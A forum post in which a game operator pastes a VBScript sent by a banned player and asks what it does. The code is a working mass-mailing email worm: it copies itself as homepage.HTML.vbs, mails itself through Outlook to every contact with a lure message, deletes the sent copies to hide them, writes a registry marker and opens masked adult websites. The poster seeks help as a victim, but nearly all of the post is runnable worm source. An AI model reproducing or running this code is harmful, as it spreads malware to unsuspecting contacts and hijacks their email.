Hi all. Recently i have been making an online game and on Sunday i banned a player on there but when he found out who had reported him to me he sent them a script or something.
I worked out part of it changed their homepage to a porn site but i dunno if there is anything else in there.
I have split it up incase there is something.
Code:On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FSO= Createobject("scripting.filesystemobject") Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) Do While InF.AtEndOfStream<>True ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true) OutF.write ScriptBuffer OutF.close Set FSO=NothingCode:If WS.regread ("HKCU\software\An\mailed") <> "1" then Mailit() End If Set s=CreateObject("Outlook.Application") Set t=s.GetNameSpace("MAPI") Set u=t.GetDefaultFolder(6) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).close u.Items.Item(i).delete End If Next Set u=t.GetDefaultFolder(3) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).delete End If NextCode:Randomize r=Int((4*Rnd)+1) If r=1 then WS.Run("http://********.*************.net/*******/1.htm") elseif r=2 Then WS.Run("http://*******.****.com/_XMCM/*******/1.htm") elseif r=3 Then WS.Run("http://www2.*********.com/*******/******/1.htm") ElseIf r=4 Then WS.Run("http://******.******.tv/1.htm") End IfCan anyone tell me if this does anything else or if i should do something about it ?Code:Function Mailit() On Error Resume Next Set Outlook = CreateObject("Outlook.Application") If Outlook = "Outlook" Then Set Mapi=Outlook.GetNameSpace("MAPI") Set Lists=Mapi.AddressLists For Each ListIndex In Lists If ListIndex.AddressEntries.Count <> 0 Then ContactCount = ListIndex.AddressEntries.Count For Count= 1 To ContactCount Set Mail = Outlook.CreateItem(0) Set Contact = ListIndex.AddressEntries(Count) Mail.To = Contact.Address Mail.Subject = "Homepage" Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf Set Attachment=Mail.Attachments Attachment.Add Folder & "\homepage.HTML.vbs" Mail.DeleteAfterSubmit = True If Mail.To <> "" Then Mail.Send WS.regwrite "HKCU\software\An\mailed", "1" End If Next End If Next End if End Function
Brendan
PS. I didnt know if this was the right section. been a while since I been on here.



LinkBack URL
About LinkBacks

Reply With Quote






